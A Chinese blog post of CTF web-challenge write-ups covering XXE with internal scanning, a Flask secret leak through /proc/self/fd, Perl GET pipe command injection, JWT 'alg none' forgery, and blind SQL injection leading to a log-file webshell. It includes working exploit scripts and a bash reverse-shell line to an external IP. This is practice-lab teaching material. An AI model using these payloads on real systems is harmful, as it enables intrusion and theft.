[NCTF2019]True XML cookbook

进来抓个登录包:

image-20240527190853093

根据题目名字知道输入的用户名和密码使用XML格式的,并且发现回显的msg标签内容对应着发过去的username。

打入XXE的payload:

image-20240527190904650

已经可以读取文件了,经过几次测试读不到flag,有可能藏在内网之中。

通过读取/proc/net/fib_trie可以探测内网的ip。

image-20240527190912067

构造python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests as res
url="http://7335b722-9f8f-4016-a374-c8b76e6639e3.node5.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://10.244.80.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(1,256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='') #多了个end可以把终端输出的换行符给去掉
try:
resp=res.post(url,data=payload,timeout=0.3) #这里需要设置一个timeout,如果请求超过0.3秒没有响应,则直接走到continue
except:
continue
else: #如果try代码没有引发任何异常,就执行else代码
print(resp.text,end='')
finally: #无论有无触发异常,都会执行
print('')

得到flag。

[网鼎杯 2020 白虎组]PicDown

image-20240527192736064

进来就看到一个框,猜测存在任意文件包含漏洞。

试着输入/etc/passwd,果然返回了一个jpg文件,当用记事本打开时,里面就是读取到的内容了。

image-20240527192853648

想到读取/proc/self/cmdline,查看启动进程的命令信息。

image-20240527193011235

有个app.py,读取一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager') #定义了一个路由,如果我们传入了正确的SECRET_KEY,即可拿到shell。
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

如何才能得到正确的SECRET_KEY呢?

关注到漏洞点:

1
2
3
4
SECRET_FILE = "/tmp/secret.txt" 
f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip() # 读取secret.txt文件,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE) # 删除/tmp/secret.txt文件

这里用open打开了secret.txt,没有关闭,就算删除了也可以在/proc/self/fd/id中找到它。

具体的id值需要去爆破,爆破后可以在id=3的时候找到一串secret。

image-20240527195847637

有了这串key,就可以去/no_one_know_the_manager路由里传参,接着传进自己的shell。

过了一天传这个key的时候发现一直会出错,不知道为什么,直到姬哥提示了一下。

注意:这个key中有可能会出现+字符,这个字符在被传入的时候会被转义为空格字符,所以要用url编一下。

如果不输入shell也会报错,502报错即是内部代码导致的。

由于这里的shell无回显,所以尝试反弹shell:

1
bash -c 'bash -i >& /dev/tcp/47.113.219.244/2333 <&1'

[HITCON 2017]SSRFme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox); //创造了一个沙盒,在sandbox下的X目录,X为orange与ip经过md5后的值进行合并

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); //$data是GET命令执行后的结果
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data); //把$data写入到沙盒中的一个文件中,文件名字可控
highlight_file(__FILE__);

这个GET命令我在linux虚拟机中测试了一下,发现可以当成ls用。

image-20240530144805186

于是仿照这种效果传入:

1
url=/&filename=bbb

来到沙盒中的bbb查看:
image-20240530144927529

果然爆出了根目录下的所有文件,并且发现了一个readflag执行文件。

上网查wp发现这个GET命令存在漏洞。

GET命令中存在perl语言的open函数,它会遇到一个bug:当perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。

利用这个漏洞,我们先传入:

1
url=&filename=bash -c /readfile|

生成一个和我们后续要执行的命令在名字上一模一样的文件。

接着传入:

1
url=file:bash -c /readfile|&filename=Flag1

接着进入Flag1查看,即可得到flag:

image-20240530151203135

[b01lers2020]Welcome to Earth

前面一直抓包,跟进后端隐藏的路由即可。

最后看到有关flag的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}

function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

// TODO: unscramble function
}

翻译过来就是说flag是由["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]进行随机排列组合形成的。

本题重在编写python脚本对其进行排列组合,并进行简单的筛选:

EXP:

1
2
3
4
5
6
7
8
9
10
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag) #生成flag列表内容的所有排列组合

for i in item:
k = ''.join(i)
if k.startswith('pctf{hey_boys') and k[-1] == '}': #如果排列组合的结果由pctf{hey_boys起头,并以}结尾,将其输出。
print(k)

最后得出flag:

image-20240530164847208

找几个像的试试就可以了。

[HFCTF2020]EasyLogin

Ctrl+U中看到:
image-20240530193952323

上网搜下koa,是个框架,其中核心源码存在:/controllers/api.js

核心部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { //sid不能是undefined和null
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){ //username必须为admin
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

看到这里大概知道这题需要伪造jwt了。

挂上burp代理,发现登录包这边有一串jwt,解出来看看:

image-20240531152556675

image-20240531152657361

把alg换成none,并将secretid换成一个空数组进行绕过,iat输入burp里面抓出来的数据就行。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123",
"iat": 1717140258
},
algorithm="none",key=""
).encode(encoding='utf-8')

print(token)

得到jwt后,重新发登录包:

image-20240531153722625

发现这两段,把它们塞进/api/flag的cookie里就出了:
image-20240531153824051

[CISCN2019 总决赛 Day2 Web1]Easyweb

发现robots.txt里面有东西:

image-20240531173150260

上网查一下,.bak是一种备份文件。又看到源码中出现了一个image.php的文件:

image-20240531173246974

于是直接在访问/image.php.bak,拿到image.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

看到这串代码,第一反应就是SQL注入:把id右侧的单引号给闭合,拼接上注入的查询语句。但是addslashes函数会将单双引号等进行转义。

绕过方法:

紧跟着addslashes函数下面,规定把\\0给替换成空字符,如果我们传入一个id=\0,首先会因为addslashes函数,变成了\\0。接着,\0被替换为空,只剩下了一个\,直接把'转义掉了,于是后面我们就可以进行SQL语句的注入。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import re
import requests
import string

url = "http://ba16e097-069e-4f4a-a441-f6b8c88b7958.node5.buuoj.cn:81/image.php?id=\\0&path=or "
flag = ''


def payload(i, j):
# 数据库名字
# sql = "id = if(ascii(substr(database(),%d,1))>%d,1,0)%%23"%(i,j)
# 表名
# sql = "id = if(ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))>%d,1,-1)%%23"%(i,j)
# 列名
# sql = "id = if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1))>%d,1,-1)%%23"%(i,j)
# 查询flag
sql = "id = if(ascii(substr((select username from users),%d,1))>%d,1,-1)%%23"%(i,j)

r = requests.get(url + sql)
# print (r.url)
if r.text:
res = 1
else:
res = 0
return res


def exp():
global flag
for i in range(1, 10000):
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)


exp()

跑出来了用于登录的用户名和密码,直接登录。

image-20240531194716061

有个上传文件的路由,传个马进去:

image-20240531194808238

显示传进到一个后缀为php的日志中,跟进看看:

image-20240531194846331

看到名字的内容被穿进去了,又因为日志是php后缀的,想到把木马以文件名的形式传入进去。发现php被ban了,于是用短标签绕过:

image-20240531195034919

来到日志,已经拿到shell了,直接cat flag就行了。